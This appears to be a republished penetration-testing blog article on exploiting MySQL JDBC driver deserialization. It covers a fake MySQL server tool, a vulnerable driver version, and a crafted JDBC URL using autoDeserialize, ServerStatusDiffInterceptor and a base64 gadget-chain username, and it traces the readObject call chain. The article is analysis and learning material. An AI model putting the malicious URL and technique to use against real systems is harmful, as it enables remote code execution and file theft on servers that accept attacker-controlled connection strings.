Exploiting MySQL JDBC Deserialization: A Step‑by‑Step Analysis

The article walks through setting up a MySQL fake server, crafting a malicious JDBC URL with autoDeserialize and query interceptors, demonstrating how the MySQL JDBC driver automatically deserializes BLOB data via ObjectInputStream, and traces the call chain to show how arbitrary code can be executed during connection initialization.

Black & White Path
Black & White Path
Black & White Path
Exploiting MySQL JDBC Deserialization: A Step‑by‑Step Analysis

Preface

During penetration testing, when accessing the backend of a management system, one may encounter functionality that connects to a database. This article explores how to exploit the MySQL JDBC driver’s deserialization feature in such scenarios.

Environment Preparation

GitHub repository: https://github.com/4ra1n/mysql-fake-server

JDK 1.8_261

Test Demo

public class MysqlJdbc {
    public static void main(String[] args) throws Exception {
        String driver = "com.mysql.jdbc.Driver";
        String DB_URL = "jdbc:mysql://xxxx";
        Class.forName(driver);
        Connection conn = DriverManager.getConnection(DB_URL);
    }
}

pom.xml dependency:

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>5.1.20</version>
</dependency>

Test

Command Execution

Start the fake server and bind IP and port.

396834cd2480344d8193f93c2809f090.png
396834cd2480344d8193f93c2809f090.png

Generate the command.

6dd10094077b5e5364692884f3069b97.png
6dd10094077b5e5364692884f3069b97.png

Paste and execute.

553bcc136857c38eb0bb5e90e23a2cbb.png
553bcc136857c38eb0bb5e90e23a2cbb.png

File Read

Read the file.

da98b4175288627ee424b8bdc828b225.png
da98b4175288627ee424b8bdc828b225.png

Save the content.

39ff44f064fc751150793714c372c483.png
39ff44f064fc751150793714c372c483.png

JDBC URL Analysis

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=base64ZGVzZXJfQ0MzMV9jYWxj

Typical format:

jdbc:mysql://<host>:<port>/<database>?<params>

127.0.0.1 – local MySQL server address.

3306 – default MySQL port.

test – database name.

Parameters are separated by '&'.

autoDeserialize=true enables automatic deserialization of objects returned as BLOBs via ObjectInputStream.readObject().

queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor registers a query interceptor that runs custom logic before and after queries.

user=base64ZGVzZXJfQ0MzMV9jYWxj specifies the username; base64 decodes to deser_CC31_calc.

Exploit Chain Analysis

By crafting a malicious MySQL protocol packet, the attacker forces ObjectInputStream.readObject() to deserialize a hostile object, leading to code execution.

ebb2c56828fd35190f0153039cc8319d.png
ebb2c56828fd35190f0153039cc8319d.png

The vulnerable method call chain: com.mysql.cj.jdbc.result.ResultSetImpl#getObject(int)switch (field.getMysqlType()) → case BLOB →

objIn.readObject()
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
objIn.close();
bytesIn.close();

Reverse Stack Tracing

To find the caller of getObject, trace through:

com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap(java.util.Map, java.sql.ResultSet)
com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues

The interceptor is invoked by the MySQL JDBC driver during connection initialization, e.g., executing SET autocommit=1.

2dd84fc0373c684027427531e2d7a013.png
2dd84fc0373c684027427531e2d7a013.png

Extension

MySQL-JDBC deserialization – https://forum.butian.net/share/2872

JDBC‑MySQL no‑network attack summary – https://mp.weixin.qq.com/s/frZHYc_uD5o7HdRtkmrSYQ

From JDBC MySQL no‑network attack to Spring temporary file exploitation – https://xz.aliyun.com/news/17830

JDBC deserialization bypass/fix/analysis – https://mp.weixin.qq.com/s/jXKlItva_OiehIoPgYvcAw

References

MYSQL JDBC deserialization analysis – https://tttang.com/archive/1877/

MySQL JDBC deserialization analysis – https://mp.weixin.qq.com/s/tOOhDLr0K2l52n7627di4Q

JDBC deserialization principles and call‑chain details – https://mp.weixin.qq.com/s/Abz0OtOk43JPtzth52nBHg

WGPSEC knowledge base – https://wiki.wgpsec.org/knowledge/ctf/JDBC-Unserialize.html

Original Source

Signed-in readers can open the original source through BestHub's protected redirect.

Sign in to view source
Republication Notice

This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactadmin@besthub.devand we will review it promptly.

MySQLsecurityJDBCDeserializationExploit
Black & White Path
Written by

Black & White Path

We are the beacon of the cyber world, a stepping stone on the road to security.

0 followers
Reader feedback

How this landed with the community

Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.